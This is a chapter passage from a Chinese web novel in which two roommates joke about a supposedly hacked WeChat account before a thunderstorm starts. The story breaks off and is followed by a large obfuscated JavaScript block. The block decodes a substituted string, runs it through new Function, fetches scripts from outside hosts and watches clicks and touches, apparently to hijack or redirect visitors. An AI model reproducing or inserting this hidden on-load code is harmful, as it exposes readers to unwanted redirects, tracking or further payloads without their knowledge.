31、第三十一章(1 / 2)

十分钟内,靳林琨异常有力地证明了自己的人缘。

于笙挡着眼睛,侧身对着墙,笑得止都止不住。

“朋友,不至于。”

靳林琨轻咳一声,探身扒着他的肩膀,把手机从他手里拿过来:“这只是个意外。我相信,应该是我选择的样本恰巧都不太合适……”

他一边说着,手上已经很利落地帮于笙回复起了热心的七组组长,落实了对方关于自己微信被盗的猜测。

于笙也没有要把手机抢回来的意思,好不容易压住笑,转回来枕着胳膊,看着他埋头摆弄。

“快睡觉,多睡觉对身体好。”

靳林琨左手拿着手机,单手打字打得飞快。

他这人很不闲着,边打字,右手边长眼睛似的握住于笙的胳膊,塞进被里,隔着被子拍了两下:“帮我保个密,听话,下晚自习给你带夜宵回来。”

他的语气实在有点太过于慈祥,于笙原本都快准备睡了,忍不住掀开眼皮横他一眼:“再说一句,我现在就告诉丁争佼根本没人盗你的号。”

“……”威胁很有效,靳林琨从善如流地闭了嘴,低下头拿起手机。

于笙的手机紧跟着响了一声。

从前有座山:夜宵吃点什么?

于笙:“……”

这人能欠揍到这个份上也不容易。

欠揍到这个份上,居然还没被人套麻袋揍一顿,就只能算是大自然的奇迹了。

不太忍心破坏这个难得的奇迹,于笙随手把手机调了静音,按灭了塞回枕头底下:“随便,不辣就行,你看着买。”

靳林琨扬扬眉,晃了下手机示意了解,抬手关了灯。

他没急着走,洗了把脸,打开盏小台灯,放轻动作收拾着东西。

于笙闭上眼睛,暖色调的暗淡光线隔着层眼皮模模糊糊透过来。

靳林琨的动作很轻,身影偶尔挡住些光线,细碎的动静悉悉索索响着。

把整个空间填得满满当当。

于笙躺了一会儿,不知不觉睡熟了。

再醒来,屋里已经黑得伸手不见五指。

看时间还在上晚自习,于笙摸索着坐起来,翻出手机准备照亮,微信上的消息提示先接二连三冒出来。

看到朋友圈的提示,于笙还有点没反应过来。

他没有发这些东西的习惯,也不怎么在上面互动,直到现在上一条朋友圈还是半年前帮段磊转发的某个英语学习app的链接。

具体内容已经记不清了,总归大概是集齐xxx个转发就能获得某一套学习资源。

后来那套学习资源倒是拿到了,段磊抱着勤奋苦读了三天,就再没见到过影子。

平时没点声息的地方忽然就多出了异常碍眼的未读提醒,于笙翻了一阵,才顺利找到了那一大坨红点的来源。

主要还是因为朋友圈的一条艾特。

七组组长丁争佼是个很热心肠的人,在确认了靳林琨的微信确实被盗之后,就发了条朋友圈。提醒大家先不要去找琨神,有什么事可以托笙哥转达,顺便在回复里艾特了于笙。

还尤其着重提醒了七组同学,一旦收到“交个朋友吗”类型的消息,请务必不要回复,避免造成财产或其他不必要的损失。

……

于笙仔细想了想,居然觉得整件事的逻辑顺得无法反驳。

学霸们的晚自习看起来也并不完全专心,这条朋友圈下面,七组同学已经聊出了屏幕,直接导致他收到的艾特提示也跟着攒了一堆。

屋里黑咕隆咚的有点瘆人,于笙起身开了灯,看了几眼下面的大型聊天现场,并没有参与的打算,随手退出了微信。

灯亮起来,寝室里就更静得空荡。

于笙去洗了把脸,无所事事地绕了两圈,还是决定再刷一本题。

有些开关有时候是不能打开的,一打开就很难停得下来。尤其是在他发现原来刷题也能把脑子里记忆下的新画面压下去之后,无聊的第一反应居然就变成了去靳林琨桌上翻练习册。

上次刷题的时候段磊正好发视频过来找他远程帮忙修电脑,没几分钟就疯了,给他鬼鬼祟祟地发消息过来,让他要是被绑架了就眨两下眼睛。

于笙觉得他实在有点太过大惊小怪,顺手就挂了视频。

靳林琨桌上的练习册种类十分丰富多样,选择的都是各科目最精华的总结整理,一大半都已经贴心并且多此一举地配了便签模式的灵魂插图。

于笙翻出本和上次一套的三角函数,直接在靳林琨桌边坐下,快速略过了前面几页没什么用处的导论。

两个人的书桌基本上混着用,靳林琨不习惯收拾,钢笔中性笔散着放了一大堆,厚厚一摞空白算草纸就放在桌边上,颤巍巍的,上面还压了本字典当配重。

整个桌面乱中无序,靳林琨自己找东西都要翻上半天,经常烦得于笙隔几天就忍不住顺手帮他把桌面打扫一遍。

不需要做辅助线的代数题背起来比几何快很多,于笙简单收拾了桌子,留下支水笔,随手刷了几十页,又攒了一摞标着解题过程详细得分项的算草纸。

手机亮起了没电的小红灯,他摸过充电线插上,屏幕亮起来,才看见微信上原来还有条未读消息。

靳林琨一个小时之前发过来的,淹没在了一片朋友圈的提示里,一直没被发现。

从前有座山:朋友,交个朋友吗?

于笙费解地又看了一遍那条消息。

他的舍友不知道为什么,总会在一些乱七八糟的细节上莫名其妙在意挺久。

不太想理这种浪费时间的问题,于笙随手回了个滚字,正准备发过去,窗外忽然滚起一声闷雷。

异常耀眼的闪电晃得屋里都跟着短暂地亮了一瞬。

于笙:“……”

这个人还真是大自然的宠儿。

挥散了一瞬闪过有关不答应就挨雷劈的不靠谱猜测,于笙拉开窗帘,开窗往外看了看,先被一股凉风迎面沁心沁脾地灌了个通透。

下一秒,豆大的雨点紧跟着噼里啪啦砸了下来。

于笙隔着窗户看了一阵,拿起手机,在一排被当成垃圾广告忽略的通知里翻了翻,果然找到了今晚雷阵雨转大雨局部暴雨的提醒。

这几个字连起来,就显得雨特别大。

靳林琨出门的时候于笙差不多睡着了,也不知道他都带了什么东西。

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();